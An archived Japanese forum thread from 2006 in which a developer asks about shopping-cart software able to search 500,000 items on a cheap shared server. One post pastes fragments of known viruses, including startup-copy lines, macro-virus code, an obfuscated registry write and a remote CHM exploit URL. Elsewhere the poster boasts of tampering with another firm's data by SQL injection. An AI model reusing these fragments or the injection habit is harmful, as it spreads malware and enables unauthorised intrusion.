トップページphp
142コメント59KB

50万件全文検索に絶えられるカートありますか?

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2006/06/01(木) 00:30:24ID:khUw4/4Z
一件(一商品)当たり100〜200バイトで50万件。
レンタルサーバーで動かすので相当負荷は軽く、データ量も数百MB以内、
5秒以内に制限されているCPU使用時間内でデータが帰って来る。
カテゴリごとの絞込みやカテゴリ内検索あり。
Amazonのようなものをイメージしてもらえばいいです。

できれば携帯対応。自分で改造可。フリーか格安。
こんなショッピングカートありますか?

実は今作っていてそれなりにできているんですけど
(もちろん上の条件を満たすめどは立っています)
もしこんなのがすでにあったら泣きますw

相当時間かかって社長に怒られかけています。
一人でこれをやるのはやはり無謀だと思いますか?
今頃聞くなってねw
0002nobodyさんNGNG
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
0003nobodyさん2006/06/01(木) 00:47:39ID:???
対策されたのでノートンが反応しなくなったと聞きつけてやってきました><
0004nobodyさん2006/06/01(木) 00:50:11ID:???
>>1
レンタルサーバーってとこと値段以外の用件を満たしたシステムなら知ってる

つかその用件でレン鯖は無謀だぜ
0005nobodyさん2006/06/01(木) 01:01:16ID:???
>>4
やっぱり?w

別にレンタルサーバーじゃなくても良いけどね。
月5000円程度ならw

自社サーバーは管理者が実質俺一人なんで
ちょっと大変そう。ほかにもやることあるし。


条件追加。このレンタルサーバはシェル開放されていません。
当然好きなものを入れようとしてもcgitelnetを使ってもむずい。
メモリ制限のせいでよくコンパイルに失敗する。
まあまったく入れられないってわけじゃないんだけど。

それと、データベースの容量のめどはあまりたってなかった。
0006nobodyさん2006/06/01(木) 01:06:09ID:???
>>4
参考までに、そのシステム教えてくれない?


こういうシステムって普通どれ位のスペックのサーバーで
どれくらいの金(初期費用+維持費)かかるのでしょうか?

経験不足ですみません。
0007nobodyさん2006/06/01(木) 01:35:43ID:???
>>6
教えろっつっても名前があるわけじゃなし。某ショップとしておこう。
Javaで組まれた100万点の商品および説明への全文検索が可能な
カートシステム、決済システムも込みで大雑把に約8000万。
サーバーはクラスタリングされたDB、バランシング済みWEBサーバーと
アプリサーバーの構成でざっと2000万。計1億。

要するに出直して来いってこと。
できないものは早いうちに「できない」と社長に謝った方がいいよ。
0008nobodyさん2006/06/01(木) 01:51:40ID:???
どんな商品ページ作るのか知らんが、50万件で数百MBっておかしいだろ
1商品に200バイトのテキストと5KBの画像付けたら単純計算で約2.5GB要るよ?
ショップというからには全文検索できりゃいいってもんでもないし、
一度業者に見積もりもらったら?

ってか釣り?って思う程にレベル低ス
0009nobodyさん2006/06/01(木) 01:52:09ID:???
>>7
どうもー。あーよかった。
とりあえず金額面ではそうとう安いことになるな。
俺の新卒並みの安い人件費三ヶ月程度だから。

もっともバックグラウンドのシステムが
大きく違うだろうからあまり比較はできないけど。

> できないものは早いうちに「できない」と社長に謝った方がいいよ。
残念ながら嘘はつけない。

検索面ではパフォーマンス込みでほとんどできていて、
あとは入力画面とUIの改良のみ。
今の段階で「できない」とはとても言えない。
0010nobodyさん2006/06/01(木) 01:55:55ID:???
初期のgoogleって1億件で100台くらいだったっけ?
この計算だと50万件なら1台でお釣りがくるね。
0011nobodyさん2006/06/01(木) 01:55:57ID:???
>>8
勝手に一商品のデータ量を200バイトから5320バイトと
26倍以上にしないでくれ。
0012nobodyさん2006/06/01(木) 01:57:45ID:???
50万件って本当に必要なの?
だとしたら相当大掛かりなシステム組まないと使い物にならんよ?
レン鯖とか言ってる時点で相当ヤバいと思うのだが

あと>>1はこのまま続けるならトリップ付けろ
用が済んだなら削除依頼出して来い
0013nobodyさん2006/06/01(木) 01:58:41ID:???
>>10
まてまてまてw
0014nobodyさん2006/06/01(木) 02:01:12ID:???
本人ができてるって言うんだからもういいじゃん。放置汁。
0015nobodyさん2006/06/01(木) 02:05:46ID:???
> 50万件って本当に必要なの?
もともとはネットショップするつもりないって聞いたから
このサーバーにしたんだけどな・・・。一年契約・・・。

現在テストに使っているデータだけで1万5000件ある。
これは一ジャンルだからデータ的に5ジャンル分?
とある理由でこれの2倍必要で15万件。
まだまだ増やしたそうな感じだし、
商品の性質から年々増えていくものなので・・・。

まあ50万件は多すぎでも20万ぐらいはみとかないとだめだな。
0016nobodyさん2006/06/01(木) 02:12:02ID:???
つかDBは何使ってるの?
0017nobodyさん2006/06/01(木) 02:14:28ID:???
そういやosCommerceって何件ぐらいまで耐えられるのかなぁ?
自分で調べろって?w

一応サーバーには入っているんだけど、
あの管理画面が機能多すぎてちょっと敬遠。

あれって、PostgreSQLだっけか、MySQLだっけか使ったよね?
サーバーがサポートしているデータベース容量は数十M。

ちなみに今作っているので使っているのは、
たまたま(?)サーバーに入っていたSQLiteです。
これならWebサーバーの容量分使えるw
0018 ◆wSaCDPDEl2 2006/06/01(木) 02:27:29ID:???
トリップの付けかたこうだっけ?
0019 ◆q7BsfXkBW. 2006/06/01(木) 02:28:44ID:???
あってたあってた。さっきのは練習。これが俺のトリップね。

本物かどうかはこのあとのカキコで
みなが判断するしかないけどw
0020nobodyさん2006/06/01(木) 02:53:22ID:???
レン鯖でそのスペックは
どう考えてもありえねーだろ
月5000円とか舐めすぎ
0021nobodyさん2006/06/01(木) 12:43:42ID:zuwpdVkR
50万件ぐらいなら1万ぐらいのVPSサーバで余裕のはず・・・
まぁプログラムとかDB設計次第だとは思うが・・・
0022nobodyさん2006/06/01(木) 13:05:28ID:???
>>21
>1万ぐらいのVPSサーバ

予算オーバーです
0023nobodyさん2006/06/01(木) 13:29:33ID:GEVTcprQ
SQLiteってトランザクションとかできたっけ?
よく知らないけど、50万ともなると後々厳しいのと違う?
だいたい、50万のデータ入れる予定のサイトで
予算が5000円ってのはありえないと思うな。
チロルチョコ1個ずつ売るつもりなのかい?
あと、5000円のレン鯖に個人情報置くの、俺ならちょっとためらう。
0024nobodyさん2006/06/01(木) 14:16:07ID:???
100バイト商品情報に興味があるなぁ。
UID、商品名、型番、価格、これだけ使い切りそう。
0025nobodyさん2006/06/01(木) 16:37:34ID:???
1氏のサイトに同時アクセスが幾らあるかも重要だと思う。
いやもうパフォーマンス検証ができてるのならいいんだけど。

それにしても1氏の社長自体ヤバい予感がする。
月5000円が限度って、どんなショボい店なんだか。
つーか、メンテも1氏が片手間にやるんでしょ?

1氏、死兆星が見えてないか?
0026nobodyさん2006/06/01(木) 21:53:34ID:???
社長といいながら(ry
なんてことなんじゃないだろうか
0027 ◆q7BsfXkBW. 2006/06/01(木) 22:50:43ID:???
いやーなんか皆さんのカキコ見てると・・・・

オラわくわくしてきたぞ?

>>21
どうも。VPS、これからの未来で考慮することにします。

そうそうレンタルサーバーでみんなわかってくれているみたいだけど、
正確には、レンタルの共用サーバーです。
あまりやりすぎるとサーバー屋さんから専用サーバー移行勧告が発令されるでしょうw

>>23
> SQLiteってトランザクションとかできたっけ?
できます。ただサーバーをもたないDBMSなので、複数プロセスからの
同時に更新はできませんが。(テーブルを複数のDBファイルに分ければ可能)
まあこれはデータ更新者がほんの数人なんで運用上問題なし。
0028 ◆q7BsfXkBW. 2006/06/01(木) 22:51:34ID:???
> あと、5000円のレン鯖に個人情報置くの、俺ならちょっとためらう。
実は今のは月2000円弱だったりするw
今のところはサーバーに個人情報をおくつもりは無い。

あー、でも別のシステムで置いているな。
suExecなので重要なものはちゃんとオーナー権限にはしている。

実はPerlよりもPHPの方が好きなんだが、このサーバー。PHPがSafe Modeじゃねぇ。

クラッキング技術は好・・・じゃなくてセキュリティ技術は好きですよ?
俺が入社する前にどこぞの会社が作った今は使われていないシステムのデータを
SQLインジェクションで書き換えて遊んでいましたw
知識が十分と言うつもりはありませんが。

>>24
> 100バイト商品情報に興味があるなぁ。
> UID、商品名、型番、価格、これだけ使い切りそう。
うん。実際にデータそんな感じ。あと少し属性つくけど。
0029 ◆q7BsfXkBW. 2006/06/01(木) 22:52:20ID:???
>>25
> 1氏のサイトに同時アクセスが幾らあるかも重要だと思う。
小さい会社だから同時アクセスは少ないはず。

> 月5000円が限度って、どんなショボい店なんだか。
限度じゃないぞ。ただ単に安ければ安いほどいいってだけだ。
俺だって、こんなシステムを作るのなら専用サーバー借りさせてたさ。
それはそれでサーバー管理大変そうだけどな。・・・VPSか、なるほど。

もちろん変えるって手もあるんだけど、どうもパフォーマンスやらデータ容量やら
計算していると、実現できそうに思えてきちゃってこのざまさw
(今も思っているというか結構確信してる。みんなの話聞くとかなり無謀だったんだなw)
実現する方法を調べて実験するのに時間がかかったとはとても社長に言えない・・・。

> つーか、メンテも1氏が片手間にやるんでしょ?
データ入力は俺じゃないぞ。サーバー管理はレンタルサーバー屋さんだから
俺は実質バグ修正やら機能拡張やら。システム自体は柔軟に作ったし、
結構好き放題やれるので、基本部分が終わったら面白そうなのをいろいろと・・・。

ってか、社長、他にもやってほしいことがって俺に何させる気だろう?
0030 ◆q7BsfXkBW. 2006/06/01(木) 22:54:13ID:???
> 1氏、死兆星が見えてないか?
大丈夫。半年前のニートの時よりかは星は遠ざかっているw

でさ、すっかり忘れていたけど本題。

(質問1)50万件全文検索に耐えられるショッピングカートありますか?
何千万円ってのは絶対無理。100万でも怒られる。死ぬ気で10万。って
すでに俺の人件費で超えてるわw

っていうか、俺自称オープンソース派やねん!
本当は作りたくなかった。でも俺には作る道しか思いつかなかった。

そういやこんなシステム(俺まともに仕様言ってないけど、Amazonの検索部分のみの
システムという感じで。検索機能、カテゴリ機能、注文あったらメールでお知らせ、
簡単なデータ登録機能程度で)を作るのに普通はどれくらい時間かかるものなのでしょうか?
(↑これ質問2)

実戦経験少なくてすみません。
0031nobodyさん2006/06/01(木) 23:10:07ID:???
>>30
言い訳が多いところに相変わらず不安を感じるわけだが。

>(質問1)50万件全文検索に耐えられるショッピングカートありますか?

おまいが今「できてる」と称するものがそれだろ。
1万5千件でテストして1リクエスト投げて「OK」と喜んでるようだが。

ちなみに既存のショッピングカートを元に改造すればもっと楽に出来たろうな
とか言ってみるテスト。おまいちゃんと検討したか?


>普通はどれくらい時間かかるものなのでしょうか?

その仕様だけなら2週間あれば充分じゃね? 検証で1週間+くらい。
0032nobodyさん2006/06/01(木) 23:34:37ID:???
ああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ
0033 ◆q7BsfXkBW. 2006/06/01(木) 23:53:35ID:???
> おまいが今「できてる」と称するものがそれだろ。
やだなぁ。他にという意味ですよぉ。

> 1万5千件でテストして1リクエスト投げて「OK」と喜んでるようだが。
ちょっと不安あるよね。今のところ普通っぽいキーワードで3000件抽出で0.2〜0.5秒くらい。
意図的にヒットする数を増やして6000件抽出で・・・あぁ変わんないや。

普通に考えてこれだけヒットした中から、1ページ目、2ページ目・・・と見ていく奴はいないだろうから、
もし問題が出るよう(=CPU利用しすぎで落とされた場合)ならマッチした件数が多すぎですと出せばいいかと。

えっ? CGI落とされたのにどうやってメッセージを出すのかと?
別の理由から作った設計により、それが可能なアーキテクチャになっておりますw って別にたいしたことじゃないけど。

あとデータが増えてもかかる時間は線型で増えないようになってますんでご安心を。
これ突っ込みたかったでしょ?w 同じような内容のデータばかりだとやばいけどね。
I don't like like. Win版idxchkないの? Macがあってよかったよ(謎)
0034 ◆q7BsfXkBW. 2006/06/01(木) 23:54:23ID:???
> ちなみに既存のショッピングカートを元に改造すればもっと楽に出来たろうな
> とか言ってみるテスト。おまいちゃんと検討したか?
ちゃんと検討してない!

あはは。

社長ごめんよ。

でもなぁ。データベース的なもの使ってないのはパフォーマンス的に駄目だし、
今のサイト(・・・というか将来的にCMSに変える)にそのまま融合させたいし。
セキュリティ的にPHPはだめだし、提供されているデータベースの容量少ないからSQLiteしか使えないし。

えっ。先にサーバー代えれって?ごもっともです!
でも挑戦してみたくなっちゃってw 自分の技術力アップ!プロ失格ですorz。
まぁ、社外の仕事なら絶対こういうことはしませんよ。


> >普通はどれくらい時間かかるものなのでしょうか?
>
> その仕様だけなら2週間あれば充分じゃね? 検証で1週間+くらい。
やっぱりorz。

社長遊びすぎたよ。ごめんよ。いいわけだが知らないことが多すぎたんだ。
半年前までWebアプリなんてろくに作ったこと無かったんだ。
セッション管理すらやったことなかったんだ。pearやcpanを知ったのも数ヶ月前なんだ。
いろいろ考えるのやパフォーマンスうんぬんかんぬん楽しかったんだ。
でもそれでも金はかかってないようだ。自社の仕事だし。だから許して。
0035nobodyさん2006/06/02(金) 00:18:54ID:???
で、50万件データ突っ込んだ時の検索時間は計ったのか?
0036nobodyさん2006/06/02(金) 00:22:25ID:???
>あとデータが増えてもかかる時間は線型で増えないようになってますんでご安心を。
>これ突っ込みたかったでしょ?w

DB使っておいてそんな器用な実装は普通出来ないから誰も突っ込まないだけ
0037 ◆q7BsfXkBW. 2006/06/02(金) 00:43:19ID:???
まだ。
上のほう見れもらえばわかるけど、
実際にはそんなにデータはないからね。

ただ、50万件ぐらいに耐えられるぐらいじゃないとだめかなと。
特に、格安レンタルサーバーだからそれくらいのパフォーマンスがあるくらいの
ものじゃない負荷多すぎでとむりかなぁと。

もし他に良いのがなくて、俺のもだめなら、上のほうを見る限りマシン的に限界でしょ?
そのときは素直に乗り換えるよ。それでも俺のよりよさそうなのがなければ俺のを使うけど。

ちょっと今、全体のUTF8化と、カテゴリ部分のデータの持ち方を工夫して階層構造になったカテゴリ構造で
サブカテゴリ以下を含めて一回のクエリーで検索できるように(それでいてフィールドもデータも増えないかごくわずか)
変更中で一時的に動かなくなっているから一息ついたらやってみるかもしれないし、やらないかもしれない。

ディスク容量が300Mしかないから、そんなにデータは入れられないけど。
0038nobodyさん2006/06/02(金) 00:44:59ID:???
>>36
> DB使っておいてそんな器用な実装は普通出来ないから誰も突っ込まないだけ
器用な実装ってどっちの意味?

普通はどっちの実装になるということ?
0039nobodyさん2006/06/02(金) 00:46:31ID:???
線形に増えたらDBの意味無いだろ
004038も俺 ◆q7BsfXkBW. 2006/06/02(金) 00:53:10ID:???
あぁ。そっちの意味ね。

そのとおりなんだけどさ。
でも日本語全文検索機能標準で持っているDBMS少ないじゃん。




俺、シェル無しレンタルサーバーorz
004138も俺 ◆q7BsfXkBW. 2006/06/02(金) 00:54:15ID:???
参考までに、普通はどういう実装するの?
0042nobodyさん2006/06/02(金) 01:10:03ID:???
>日本語全文検索機能標準で持っているDBMS少ない

なんかまた凄いこと言い始めたな。大丈夫か?
おまいの場合、借りた鯖の都合で選択肢が無いだけだろ。

あと悪い事いわんからダミーデータ20万件以上突っ込んでテストしとけ
プレッシャーかけられてるのはわかるが、最大予測件数の3%のデータじゃ
テストにならんよ

それからレン鯖の場合CGIが落ちる前にアカ止められるから安心汁w
0043 ◆q7BsfXkBW. 2006/06/02(金) 01:18:19ID:???
> おまいの場合、借りた鯖の都合で選択肢が無いだけだろ。
えぇー。具体的にどんなのがある?
ちゃんと日本語にも対応していて
パッチなしで標準でサポートされているやつだよ。

まあ、サーバーの都合で選択肢がないのは間違いないけどね。

> あと悪い事いわんからダミーデータ20万件以(ry
らじゃ。

> それからレン鯖の場合CGIが落ちる前にアカ止められるから安心汁w
それはない。ulimitで制限かけられているから
CPU時間(どうやらユーザー時間だけっぽい?)で5秒。
メモリが30〜50M?使用ぐらいかで、すでに何度かエラーになっている。

# 子プロセス呼び出しを利用することでもっと長くCPUを連続使用できたってことは内緒だw やらんけど。
■ このスレッドは過去ログ倉庫に格納されています